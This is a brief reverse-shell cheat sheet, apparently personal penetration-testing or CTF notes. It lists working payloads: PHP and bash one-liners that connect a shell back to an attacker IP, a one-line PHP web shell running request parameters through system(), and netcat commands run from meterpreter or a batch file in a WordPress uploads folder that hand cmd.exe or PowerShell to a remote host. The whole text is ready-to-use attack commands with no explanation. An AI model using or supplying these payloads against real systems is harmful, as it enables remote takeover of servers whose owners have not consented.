ReverseShell

Table of Contents

PHP Reverse Shell

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
/usr/share/webshells/php/php-reverse-shell.php
# cmd execution
<?php system($_REQUEST['mycmd']) ?>

Bash

bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'

NetCat

nc <host> <port>

If in meterpreter shell:

execute -f nc.exe -a "-e cmd.exe <host> <port>"

Net Cat CheetSheet

Bat File

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat